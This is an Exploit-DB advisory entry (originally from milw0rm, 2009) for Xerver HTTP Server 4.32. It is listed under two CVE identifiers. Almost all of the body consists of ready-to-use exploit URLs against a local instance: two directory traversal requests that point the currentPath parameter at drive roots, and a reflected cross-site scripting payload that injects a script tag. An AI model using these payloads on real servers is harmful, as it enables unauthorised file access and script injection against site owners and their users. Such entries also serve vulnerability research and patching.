Xerver HTTP Server 4.32 - XSS / Directory Traversal Vulnerability

2009-09-18T00:00:00
ID EDB-ID:9718
Type exploitdb
Reporter Stack
Modified 2009-09-18T00:00:00

Description

Xerver HTTP Server v4.32 XSS / Directory Traversal Vulnerability. CVE-2009-3561,CVE-2009-3562. Remote exploits for multiple platform

                                        
                                            Xerver HTTP Server v4.32 XSS / Directory Traversal Vulnerability


By Stack


Directory Traversal Exploit :

http://127.0.0.1:32123/action=chooseDirectory&currentPath=d:%5C

http://127.0.0.1:32123/action=chooseDirectory&currentPath=c:\




XSS Exploit :


http://127.0.0.1:32123/action=chooseDirectory&currentPath='">><script>alert('XSS By Stack')</script>

# milw0rm.com [2009-09-18]